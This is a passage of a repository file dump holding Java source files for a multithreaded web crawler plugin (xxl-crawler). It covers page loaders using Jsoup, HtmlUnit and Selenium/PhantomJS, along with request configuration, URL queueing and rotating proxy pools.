try {\n                while (!crawlers.awaitTermination(5, TimeUnit.SECONDS)) {\n                    logger.info(\">>>>>>>>>>> xxl crawler still running ...\");\n                }\n            } catch (InterruptedException e) {\n                logger.error(e.getMessage(), e);\n            }\n        }\n    }\n\n    /**\n     * 尝试终止\n     */\n    public void tryFinish(){\n        boolean isRunning = false;\n        for (CrawlerThread crawlerThread: crawlerThreads) {\n            if (crawlerThread.isRunning()) {\n                isRunning = true;\n                break;\n            }\n        }\n        boolean isEnd = runData.getUrlNum()==0 && !isRunning;\n        if (isEnd) {\n            logger.info(\">>>>>>>>>>> xxl crawler is finished.\");\n            stop();\n        }\n    }\n\n    /**\n     * 终止\n     */\n    public void stop(){\n        for (CrawlerThread crawlerThread: crawlerThreads) {\n            crawlerThread.toStop();\n        }\n        crawlers.shutdownNow();\n        logger.info(\">>>>>>>>>>> xxl crawler stop.\");\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/annotation/PageFieldSelect.java",
    "content": "package com.jun.plugin.crawler.annotation;\n\nimport java.lang.annotation.*;\n\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\n\n/**\n * page vo field annotation\n *\n * 页面数据对象的属性信息 （支持基础数据类型 T ，包括 List<T>）\n *\n * @author xuxueli 2017-10-17 20:28:11\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target(ElementType.FIELD)\n@Documented\npublic @interface PageFieldSelect {\n\n    /**\n     * CSS-like query, like \"#title\"\n     *\n     * CSS选择器, 如 \"#title\"\n     *\n     * @return String\n     */\n    public String cssQuery() default \"\";\n\n    /**\n     * jquery data-extraction-type，like \".html()/.text()/.val()/.attr() ...\"\n     *\n     * jquery 数据抽取方式，如 \".html()/.text()/.val()/.attr() ...\"等\n     *\n     * @see com.jun.plugin.crawler.conf.XxlCrawlerConf.SelectType\n     *\n     * @return SelectType\n     */\n    public XxlCrawlerConf.SelectType selectType() default XxlCrawlerConf.SelectType.TEXT;\n\n    /**\n     * jquery data-extraction-value, effect when SelectType=ATTR/HAS_CLASS, like \".attr(\"abs:src\")\"\n     *\n     * jquery 数据抽取参数，SelectType=ATTR/HAS_CLASS 时有效，如 \".attr(\"abs:src\")\"\n     *\n     * @return String\n     */\n    public String selectVal() default \"\";\n\n    /**\n     * data patttern, valid when date data\n     *\n     * 时间格式化，日期类型数据有效\n     *\n     * @return String\n     */\n    String datePattern() default \"yyyy-MM-dd HH:mm:ss\";\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/annotation/PageSelect.java",
    "content": "package com.jun.plugin.crawler.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * page vo annotation\n *\n * 页面数据对象 注解\n *\n * @author xuxueli 2017-10-17 20:28:11\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target(ElementType.TYPE)\n@Documented\npublic @interface PageSelect {\n\n    /**\n     * CSS-like query, like \"#body\"\n     *\n     * CSS选择器, 如 \"#body\"\n     *\n     * @return String\n     */\n    public String cssQuery() default \"\";\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/conf/XxlCrawlerConf.java",
    "content": "package com.jun.plugin.crawler.conf;\n\n/**\n * xxl craw conf\n *\n * @author xuxueli 2017-10-31 11:55:32\n */\npublic class XxlCrawlerConf {\n\n    // userAgent\n    public static final String USER_AGENT_CHROME = \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\";\n    public static final String USER_AGENT_FIREFOX_45 = \"Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0\";\n    public static final String USER_AGENT_IE = \"Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko\";\n    public static final String USER_AGENT_EDGE = \"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586\";\n\n    // timeout default, ms\n    public static final int TIMEOUT_MILLIS_DEFAULT = 5*1000;\n\n    // content type\n    public static final String CONTENT_TYPE_JSON = \"application/json\";\n    public static final String CONTENT_TYPE_XML = \"text/xml\";\n    public static final String CONTENT_TYPE_HTML = \"text/html\";\n    public static final String CONTENT_TYPE_TEXT = \"text/plain\";\n    public static final String CONTENT_TYPE_JSONP = \"text/javascript\";\n\n    // 数据抽取方式\n    public enum SelectType {\n        // .html()\n        HTML,\n        // .val()\n        VAL,\n        // .text()\n        TEXT,\n        // .toString()\n        TOSTRING,\n        // .attr(\"attributeKey\")\n        ATTR,\n        // .hasClass(\"className\")\n        HAS_CLASS;\n    }\n\n    // site address\n    public static final String SITE_BAIDU = \"http://www.baidu.com/\";\n    public static final String SITE_GOOGLE = \"http://www.google.com/\";\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/exception/XxlCrawlerException.java",
    "content": "package com.jun.plugin.crawler.exception;\n\n/**\n * xxl crawler exception\n *\n * @author xuxueli 2018-02-05 17:06:25\n */\npublic class XxlCrawlerException extends RuntimeException {\n\n    public XxlCrawlerException() {\n        super();\n    }\n\n    public XxlCrawlerException(String message) {\n        super(message);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/loader/PageLoader.java",
    "content": "package com.jun.plugin.crawler.loader;\n\nimport org.jsoup.nodes.Document;\n\nimport com.jun.plugin.crawler.model.PageRequest;\n\n/**\n * page loader\n *\n * @author xuxueli 2017-12-28 00:27:30\n */\npublic abstract class PageLoader {\n\n    /**\n     * load page\n     *\n     * @param pageRequest\n     * @return Document\n     */\n    public abstract Document load(PageRequest pageRequest);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/loader/strategy/HtmlUnitPageLoader.java",
    "content": "package com.jun.plugin.crawler.loader.strategy;\n\nimport com.gargoylesoftware.htmlunit.HttpMethod;\nimport com.gargoylesoftware.htmlunit.ProxyConfig;\nimport com.gargoylesoftware.htmlunit.WebClient;\nimport com.gargoylesoftware.htmlunit.WebRequest;\nimport com.gargoylesoftware.htmlunit.html.HtmlPage;\nimport com.gargoylesoftware.htmlunit.util.Cookie;\nimport com.gargoylesoftware.htmlunit.util.NameValuePair;\nimport com.jun.plugin.crawler.loader.PageLoader;\nimport com.jun.plugin.crawler.model.PageRequest;\nimport com.jun.plugin.crawler.util.UrlUtil;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.net.Proxy;\nimport java.net.URL;\nimport java.util.Map;\n\n/**\n * htmlunit page loader\n *\n * @author xuxueli 2018-02-06 19:41:39\n */\npublic class HtmlUnitPageLoader extends PageLoader {\n    private static Logger logger = LoggerFactory.getLogger(HtmlUnitPageLoader.class);\n\n    @Override\n    public Document load(PageRequest pageRequest) {\n        if (!UrlUtil.isUrl(pageRequest.getUrl())) {\n            return null;\n        }\n\n        WebClient webClient = new WebClient();\n        try {\n            WebRequest webRequest = new WebRequest(new URL(pageRequest.getUrl()));\n\n            // 请求设置\n            webClient.getOptions().setUseInsecureSSL(true);\n            webClient.getOptions().setJavaScriptEnabled(true);\n            webClient.getOptions().setCssEnabled(false);\n            webClient.getOptions().setThrowExceptionOnScriptError(false);\n            webClient.getOptions().setThrowExceptionOnFailingStatusCode(false);\n            webClient.getOptions().setDoNotTrackEnabled(false);\n            webClient.getOptions().setUseInsecureSSL(!pageRequest.isValidateTLSCertificates());\n\n            if (pageRequest.getParamMap() != null && !pageRequest.getParamMap().isEmpty()) {\n                for (Map.Entry<String, String> paramItem : pageRequest.getParamMap().entrySet()) {\n                    webRequest.getRequestParameters().add(new NameValuePair(paramItem.getKey(), paramItem.getValue()));\n                }\n            }\n            if (pageRequest.getCookieMap() != null && !pageRequest.getCookieMap().isEmpty()) {\n                webClient.getCookieManager().setCookiesEnabled(true);\n                for (Map.Entry<String, String> cookieItem : pageRequest.getCookieMap().entrySet()) {\n                    webClient.getCookieManager().addCookie(new Cookie(\"\", cookieItem.getKey(), cookieItem.getValue()));\n                }\n            }\n            if (pageRequest.getHeaderMap() != null && !pageRequest.getHeaderMap().isEmpty()) {\n                webRequest.setAdditionalHeaders(pageRequest.getHeaderMap());\n            }\n            if (pageRequest.getUserAgent() != null) {\n                webRequest.setAdditionalHeader(\"User-Agent\", pageRequest.getUserAgent());\n            }\n            if (pageRequest.getReferrer() != null) {\n                webRequest.setAdditionalHeader(\"Referer\", pageRequest.getReferrer());\n            }\n\n            webClient.getOptions().setTimeout(pageRequest.getTimeoutMillis());\n            webClient.setJavaScriptTimeout(pageRequest.getTimeoutMillis());\n            webClient.waitForBackgroundJavaScript(pageRequest.getTimeoutMillis());\n\n            // 代理\n            if (pageRequest.getProxy() != null) {\n                InetSocketAddress address = (InetSocketAddress) pageRequest.getProxy().address();\n                boolean isSocks = pageRequest.getProxy().type() == Proxy.Type.SOCKS;\n                webClient.getOptions().setProxyConfig(new ProxyConfig(address.getHostName(), address.getPort(), isSocks));\n            }\n\n            // 发出请求\n            if (pageRequest.isIfPost()) {\n                webRequest.setHttpMethod(HttpMethod.POST);\n            } else {\n                webRequest.setHttpMethod(HttpMethod.GET);\n            }\n            HtmlPage page = webClient.getPage(webRequest);\n\n            String pageAsXml = page.asXml();\n            if (pageAsXml != null) {\n                Document html = Jsoup.parse(pageAsXml);\n                return html;\n            }\n        } catch (IOException e) {\n            logger.error(e.getMessage(), e);\n        } finally {\n            if (webClient != null) {\n                webClient.close();\n            }\n        }\n        return null;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/loader/strategy/JsoupPageLoader.java",
    "content": "package com.jun.plugin.crawler.loader.strategy;\n\nimport org.jsoup.nodes.Document;\n\nimport com.jun.plugin.crawler.loader.PageLoader;\nimport com.jun.plugin.crawler.model.PageRequest;\nimport com.jun.plugin.crawler.util.JsoupUtil;\n\n/**\n * jsoup page loader\n *\n * @author xuxueli 2017-12-28 00:29:49\n */\npublic class JsoupPageLoader extends PageLoader {\n\n    @Override\n    public Document load(PageRequest pageRequest) {\n        return JsoupUtil.load(pageRequest);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/loader/strategy/SeleniumPhantomjsPageLoader.java",
    "content": "package com.jun.plugin.crawler.loader.strategy;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.openqa.selenium.Cookie;\nimport org.openqa.selenium.WebDriver;\nimport org.openqa.selenium.phantomjs.PhantomJSDriver;\nimport org.openqa.selenium.phantomjs.PhantomJSDriverService;\nimport org.openqa.selenium.remote.CapabilityType;\nimport org.openqa.selenium.remote.DesiredCapabilities;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.loader.PageLoader;\nimport com.jun.plugin.crawler.model.PageRequest;\nimport com.jun.plugin.crawler.util.UrlUtil;\n\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * \"selenisum + phantomjs\" page loader\n *\n * // TODO, selenium not support feature like : paramMap、headerMap、userAgent、referrer、ifPost\n *\n * @author xuxueli 2018-10-16\n */\npublic class SeleniumPhantomjsPageLoader extends PageLoader {\n    private static Logger logger = LoggerFactory.getLogger(SeleniumPhantomjsPageLoader.class);\n\n    private String driverPath;\n    public SeleniumPhantomjsPageLoader(String driverPath) {\n        this.driverPath = driverPath;\n    }\n\n    @Override\n    public Document load(PageRequest pageRequest) {\n        if (!UrlUtil.isUrl(pageRequest.getUrl())) {\n            return null;\n        }\n\n        // driver init\n        DesiredCapabilities dcaps = new DesiredCapabilities();\n        dcaps.setCapability(CapabilityType.ACCEPT_SSL_CERTS, !pageRequest.isValidateTLSCertificates());\n        dcaps.setCapability(CapabilityType.TAKES_SCREENSHOT, false);\n        dcaps.setCapability(CapabilityType.SUPPORTS_FINDING_BY_CSS, true);\n        dcaps.setJavascriptEnabled(true);\n        if (driverPath!=null && driverPath.trim().length()>0) {\n            dcaps.setCapability(PhantomJSDriverService.PHANTOMJS_EXECUTABLE_PATH_PROPERTY, driverPath);\n        }\n\n        if (pageRequest.getProxy() != null) {\n            dcaps.setCapability(CapabilityType.ForSeleniumServer.AVOIDING_PROXY, true);\n            dcaps.setCapability(CapabilityType.ForSeleniumServer.ONLY_PROXYING_SELENIUM_TRAFFIC, true);\n            System.setProperty(\"http.nonProxyHosts\", \"localhost\");\n            dcaps.setCapability(CapabilityType.PROXY, pageRequest.getProxy());\n        }\n\n        /*dcaps.setBrowserName(BrowserType.CHROME);\n        dcaps.setVersion(\"70\");\n        dcaps.setPlatform(Platform.WIN10);*/\n\n        WebDriver webDriver = new PhantomJSDriver(dcaps);\n\n        try {\n            // driver run\n            webDriver.get(pageRequest.getUrl());\n\n            if (pageRequest.getCookieMap() != null && !pageRequest.getCookieMap().isEmpty()) {\n                for (Map.Entry<String, String> item: pageRequest.getCookieMap().entrySet()) {\n                    webDriver.manage().addCookie(new Cookie(item.getKey(), item.getValue()));\n                }\n            }\n\n            webDriver.manage().timeouts().implicitlyWait(pageRequest.getTimeoutMillis(), TimeUnit.MILLISECONDS);\n            webDriver.manage().timeouts().pageLoadTimeout(pageRequest.getTimeoutMillis(), TimeUnit.MILLISECONDS);\n            webDriver.manage().timeouts().setScriptTimeout(pageRequest.getTimeoutMillis(), TimeUnit.MILLISECONDS);\n\n            String pageSource = webDriver.getPageSource();\n            if (pageSource != null) {\n                Document html = Jsoup.parse(pageSource);\n                return html;\n            }\n        } catch (Exception e) {\n            logger.error(e.getMessage(), e);\n        } finally {\n            if (webDriver != null) {\n                webDriver.quit();\n            }\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/model/PageRequest.java",
    "content": "package com.jun.plugin.crawler.model;\n\nimport java.net.Proxy;\nimport java.util.Map;\n\n/**\n * page load info\n *\n * @author xuxueli 2017-11-10 17:12:55\n */\npublic class PageRequest {\n\n    private String url;\n    private Map<String, String> paramMap;\n    private Map<String, String> cookieMap;\n    private Map<String, String> headerMap;\n    private String userAgent;\n    private String referrer;\n    private boolean ifPost;\n    private int timeoutMillis;\n    private boolean isValidateTLSCertificates;\n    private Proxy proxy;\n\n    public PageRequest() {\n    }\n\n    public PageRequest(String url,\n                       Map<String, String> paramMap,\n                       Map<String, String> cookieMap,\n                       Map<String, String> headerMap,\n                       String userAgent,\n                       String referrer,\n                       boolean ifPost,\n                       int timeoutMillis,\n                       boolean isValidateTLSCertificates,\n                       Proxy proxy) {\n        this.url = url;\n        this.paramMap = paramMap;\n        this.cookieMap = cookieMap;\n        this.headerMap = headerMap;\n        this.userAgent = userAgent;\n        this.referrer = referrer;\n        this.ifPost = ifPost;\n        this.timeoutMillis = timeoutMillis;\n        this.isValidateTLSCertificates = isValidateTLSCertificates;\n        this.proxy = proxy;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public Map<String, String> getParamMap() {\n        return paramMap;\n    }\n\n    public void setParamMap(Map<String, String> paramMap) {\n        this.paramMap = paramMap;\n    }\n\n    public Map<String, String> getCookieMap() {\n        return cookieMap;\n    }\n\n    public void setCookieMap(Map<String, String> cookieMap) {\n        this.cookieMap = cookieMap;\n    }\n\n    public Map<String, String> getHeaderMap() {\n        return headerMap;\n    }\n\n    public void setHeaderMap(Map<String, String> headerMap) {\n        this.headerMap = headerMap;\n    }\n\n    public String getUserAgent() {\n        return userAgent;\n    }\n\n    public void setUserAgent(String userAgent) {\n        this.userAgent = userAgent;\n    }\n\n    public String getReferrer() {\n        return referrer;\n    }\n\n    public void setReferrer(String referrer) {\n        this.referrer = referrer;\n    }\n\n    public boolean isIfPost() {\n        return ifPost;\n    }\n\n    public void setIfPost(boolean ifPost) {\n        this.ifPost = ifPost;\n    }\n\n    public int getTimeoutMillis() {\n        return timeoutMillis;\n    }\n\n    public void setTimeoutMillis(int timeoutMillis) {\n        this.timeoutMillis = timeoutMillis;\n    }\n\n    public boolean isValidateTLSCertificates() {\n        return isValidateTLSCertificates;\n    }\n\n    public void setValidateTLSCertificates(boolean validateTLSCertificates) {\n        isValidateTLSCertificates = validateTLSCertificates;\n    }\n\n    public Proxy getProxy() {\n        return proxy;\n    }\n\n    public void setProxy(Proxy proxy) {\n        this.proxy = proxy;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/model/RunConf.java",
    "content": "package com.jun.plugin.crawler.model;\n\nimport java.util.*;\n\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.loader.PageLoader;\nimport com.jun.plugin.crawler.loader.strategy.JsoupPageLoader;\nimport com.jun.plugin.crawler.parser.PageParser;\nimport com.jun.plugin.crawler.proxy.ProxyMaker;\nimport com.jun.plugin.crawler.util.RegexUtil;\nimport com.jun.plugin.crawler.util.UrlUtil;\n\n/**\n * site info\n *\n * @author xuxueli 2017-12-14 15:52:49\n */\npublic class RunConf {\n\n    private volatile boolean allowSpread = true;                                    // 允许扩散爬取，将会以现有URL为起点扩散爬取整站\n    private Set<String> whiteUrlRegexs = Collections.synchronizedSet(new HashSet<String>());    // URL白名单正则，非空时进行URL白名单过滤页面\n    private PageLoader pageLoader = new JsoupPageLoader();                          // 页面下载器\n    private PageParser pageParser;                                                  // 页面解析器\n\n    private volatile Map<String, String> paramMap;                                  // 请求参数\n    private volatile Map<String, String> cookieMap;                                 // 请求Cookie\n    private volatile Map<String, String> headerMap;                                 // 请求Header\n    private volatile List<String> userAgentList = Collections.synchronizedList(new ArrayList<String>(Arrays.asList(XxlCrawlerConf.USER_AGENT_CHROME)));     // 请求UserAgent\n    private volatile String referrer;                                               // 请求Referrer\n    private volatile boolean ifPost = false;                                        // 请求方式：true=POST请求、false=GET请求\n    private volatile int timeoutMillis = XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT;     // 超时时间，毫秒\n    private volatile int pauseMillis = 0;                                           // 停顿时间，爬虫线程处理完页面之后进行主动停顿，避免过于频繁被拦截；\n    private volatile ProxyMaker proxyMaker;                                         // 代理生成器\n    private volatile int failRetryCount = 0;                                        // 失败重试次数，大于零时生效\n    private volatile boolean isValidateTLSCertificates = true;                      // 是否验证https\n\n    // util\n    /**\n     * valid url, include white url\n     *\n     * @param link\n     * @return boolean\n     */\n    public boolean validWhiteUrl(String link){\n        if (!UrlUtil.isUrl(link)) {\n            return false;   // false if url invalid\n        }\n\n        if (whiteUrlRegexs!=null && whiteUrlRegexs.size()>0) {\n            boolean underWhiteUrl = false;\n            for (String whiteRegex: whiteUrlRegexs) {\n                if (RegexUtil.matches(whiteRegex, link)) {\n                    underWhiteUrl = true;\n                }\n            }\n            if (!underWhiteUrl) {\n                return false;   // check white\n            }\n        }\n        return true;    // true if regex is empty\n    }\n\n    // set/get\n\n    public boolean isAllowSpread() {\n        return allowSpread;\n    }\n\n    public void setAllowSpread(boolean allowSpread) {\n        this.allowSpread = allowSpread;\n    }\n\n    public Set<String> getWhiteUrlRegexs() {\n        return whiteUrlRegexs;\n    }\n\n    public void setWhiteUrlRegexs(Set<String> whiteUrlRegexs) {\n        this.whiteUrlRegexs = whiteUrlRegexs;\n    }\n\n    public PageLoader getPageLoader() {\n        return pageLoader;\n    }\n\n    public void setPageLoader(PageLoader pageLoader) {\n        this.pageLoader = pageLoader;\n    }\n\n    public PageParser getPageParser() {\n        return pageParser;\n    }\n\n    public void setPageParser(PageParser pageParser) {\n        this.pageParser = pageParser;\n    }\n\n    public Map<String, String> getParamMap() {\n        return paramMap;\n    }\n\n    public void setParamMap(Map<String, String> paramMap) {\n        this.paramMap = paramMap;\n    }\n\n    public Map<String, String> getCookieMap() {\n        return cookieMap;\n    }\n\n    public void setCookieMap(Map<String, String> cookieMap) {\n        this.cookieMap = cookieMap;\n    }\n\n    public Map<String, String> getHeaderMap() {\n        return headerMap;\n    }\n\n    public void setHeaderMap(Map<String, String> headerMap) {\n        this.headerMap = headerMap;\n    }\n\n    public List<String> getUserAgentList() {\n        return userAgentList;\n    }\n\n    public void setUserAgentList(List<String> userAgentList) {\n        this.userAgentList = userAgentList;\n    }\n\n    public String getReferrer() {\n        return referrer;\n    }\n\n    public void setReferrer(String referrer) {\n        this.referrer = referrer;\n    }\n\n    public boolean isIfPost() {\n        return ifPost;\n    }\n\n    public void setIfPost(boolean ifPost) {\n        this.ifPost = ifPost;\n    }\n\n    public int getTimeoutMillis() {\n        return timeoutMillis;\n    }\n\n    public void setTimeoutMillis(int timeoutMillis) {\n        this.timeoutMillis = timeoutMillis;\n    }\n\n    public int getPauseMillis() {\n        return pauseMillis;\n    }\n\n    public void setPauseMillis(int pauseMillis) {\n        this.pauseMillis = pauseMillis;\n    }\n\n    public ProxyMaker getProxyMaker() {\n        return proxyMaker;\n    }\n\n    public void setProxyMaker(ProxyMaker proxyMaker) {\n        this.proxyMaker = proxyMaker;\n    }\n\n    public int getFailRetryCount() {\n        return failRetryCount;\n    }\n\n    public void setFailRetryCount(int failRetryCount) {\n        this.failRetryCount = failRetryCount;\n    }\n\n\tpublic boolean isValidateTLSCertificates() {\n\t\treturn isValidateTLSCertificates;\n\t}\n\n\tpublic void setValidateTLSCertificates(boolean isValidateTLSCertificates) {\n\t\tthis.isValidateTLSCertificates = isValidateTLSCertificates;\n\t}\n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/parser/PageParser.java",
    "content": "package com.jun.plugin.crawler.parser;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.crawler.model.PageRequest;\n\n/**\n * page parser\n *\n * @author xuxueli 2017-10-17 18:50:40\n *\n * @param <T>   PageVo\n */\npublic abstract class PageParser<T> {\n\n    /**\n     * pre parse page, before page load\n     *\n     * @param pageRequest  page request params\n     */\n    public void preParse(PageRequest pageRequest) {\n        // TODO\n    }\n\n    /**\n     * parse pageVo\n     *\n     * @param html              page html data\n     * @param pageVoElement     pageVo html data\n     * @param pageVo            pageVo object\n     */\n    public abstract void parse(Document html, Element pageVoElement, T pageVo);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/parser/strategy/NonPageParser.java",
    "content": "package com.jun.plugin.crawler.parser.strategy;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.crawler.parser.PageParser;\n\n/**\n * non page parser\n *\n * @author xuxueli 2018-10-17\n */\npublic abstract class NonPageParser extends PageParser {\n\n    @Override\n    public void parse(Document html, Element pageVoElement, Object pageVo) {\n        // TODO，not parse page, output page source\n    }\n\n    /**\n     * @param url\n     * @param pageSource\n     */\n    public abstract void parse(String url, String pageSource);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/proxy/ProxyMaker.java",
    "content": "package com.jun.plugin.crawler.proxy;\n\nimport java.net.Proxy;\nimport java.util.List;\nimport java.util.concurrent.CopyOnWriteArrayList;\n\n/**\n * proxy macker\n *\n * @author xuxueli 2017-11-07 19:52:33\n */\npublic abstract class ProxyMaker {\n\n    protected List<Proxy> proxyList = new CopyOnWriteArrayList<Proxy>();            // 请求代理池，对抗反采集策略规则WAF\n\n    public ProxyMaker addProxy(Proxy proxy) {\n        this.proxyList.add(proxy);\n        return this;\n    }\n\n    public ProxyMaker addProxyList(List<Proxy> proxyList) {\n        this.proxyList.addAll(proxyList);\n        return this;\n    }\n\n    public ProxyMaker clear() {\n        this.proxyList.clear();\n        return this;\n    }\n\n    /**\n     * make proxy\n     *\n     * @return Proxy\n     */\n    public abstract Proxy make();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/proxy/strategy/RandomProxyMaker.java",
    "content": "package com.jun.plugin.crawler.proxy.strategy;\n\nimport java.net.Proxy;\nimport java.util.Random;\n\nimport com.jun.plugin.crawler.proxy.ProxyMaker;\n\n/**\n * proxy macker, rancom strategy\n *\n * @author xuxueli 2017-11-07 20:06:54\n */\npublic class RandomProxyMaker extends ProxyMaker {\n\n    private Random random = new Random();\n\n    @Override\n    public Proxy make() {\n        if (super.proxyList==null || super.proxyList.size()==0) {\n            return null;\n        }\n\n        if (super.proxyList.size() == 1) {\n            super.proxyList.get(0);\n        }\n\n        return super.proxyList.get(random.nextInt(super.proxyList.size()));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/proxy/strategy/RoundProxyMaker.java",
    "content": "package com.jun.plugin.crawler.proxy.strategy;\n\nimport java.net.Proxy;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport com.jun.plugin.crawler.proxy.ProxyMaker;\n\npublic class RoundProxyMaker extends ProxyMaker {\n\n    private AtomicInteger count = new AtomicInteger(0);\n\n    @Override\n    public Proxy make() {\n        if (super.proxyList==null || super.proxyList.size()==0) {\n            return null;\n        }\n\n        if (super.proxyList.size() == 1) {\n            super.proxyList.get(0);\n        }\n\n        int countVal = count.incrementAndGet();\n        if (countVal > 100000) {\n            countVal = 0;\n            count.set(countVal);\n        }\n\n        return super.proxyList.get(countVal%super.proxyList.size());\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/rundata/RunData.java",
    "content": "package com.jun.plugin.crawler.rundata;\n\n/**\n * run data\n *\n * @author xuxueli 2017-12-14 11:40:50\n */\npublic abstract class RunData {\n\n    /**\n     * add link\n     *\n     * @param link\n     * @return boolean\n     */\n    public abstract boolean addUrl(String link);\n\n    /**\n     * get link, remove from unVisitedUrlQueue and add to visitedUrlSet\n     *\n     * @return String\n     */\n    public abstract String getUrl();\n\n    /**\n     * get url num\n     *\n     * @return int\n     */\n    public abstract int getUrlNum();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/rundata/strategy/LocalRunData.java",
    "content": "package com.jun.plugin.crawler.rundata.strategy;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.exception.XxlCrawlerException;\nimport com.jun.plugin.crawler.rundata.RunData;\nimport com.jun.plugin.crawler.util.UrlUtil;\n\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Set;\nimport java.util.concurrent.LinkedBlockingQueue;\n\n/**\n * lcoal run data\n *\n * @author xuxueli 2017-12-14 11:42:23\n */\npublic class LocalRunData extends RunData {\n    private static Logger logger = LoggerFactory.getLogger(LocalRunData.class);\n\n    // url\n    private volatile LinkedBlockingQueue<String> unVisitedUrlQueue = new LinkedBlockingQueue<String>();     // 待采集URL池\n    private volatile Set<String> visitedUrlSet = Collections.synchronizedSet(new HashSet<String>());        // 已采集URL池\n\n\n    /**\n     * url add\n     * @param link\n     */\n    @Override\n    public boolean addUrl(String link) {\n        if (!UrlUtil.isUrl(link)) {\n            logger.debug(\">>>>>>>>>>> xxl-crawler addUrl fail, link not valid: {}\", link);\n            return false; // check URL格式\n        }\n        if (visitedUrlSet.contains(link)) {\n            logger.debug(\">>>>>>>>>>> xxl-crawler addUrl fail, link repeate: {}\", link);\n            return false; // check 未访问过\n        }\n        if (unVisitedUrlQueue.contains(link)) {\n            logger.debug(\">>>>>>>>>>> xxl-crawler addUrl fail, link visited: {}\", link);\n            return false; // check 未记录过\n        }\n        unVisitedUrlQueue.add(link);\n        logger.info(\">>>>>>>>>>> xxl-crawler addUrl success, link: {}\", link);\n        return true;\n    }\n\n    /**\n     * url take\n     * @return String\n     * @throws InterruptedException\n     */\n    @Override\n    public String getUrl() {\n        String link = null;\n        try {\n            link = unVisitedUrlQueue.take();\n        } catch (InterruptedException e) {\n            throw new XxlCrawlerException(\"LocalRunData.getUrl interrupted.\");\n        }\n        if (link != null) {\n            visitedUrlSet.add(link);\n        }\n        return link;\n    }\n\n    @Override\n    public int getUrlNum() {\n        return unVisitedUrlQueue.size();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/thread/CrawlerThread.java",
    "content": "package com.jun.plugin.crawler.thread;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.annotation.PageFieldSelect;\nimport com.jun.plugin.crawler.annotation.PageSelect;\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.exception.XxlCrawlerException;\nimport com.jun.plugin.crawler.model.PageRequest;\nimport com.jun.plugin.crawler.parser.strategy.NonPageParser;\nimport com.jun.plugin.crawler.util.FieldReflectionUtil;\nimport com.jun.plugin.crawler.util.JsoupUtil;\nimport com.jun.plugin.crawler.util.UrlUtil;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.net.Proxy;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Random;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * crawler thread\n *\n * @author xuxueli 2017-10-10 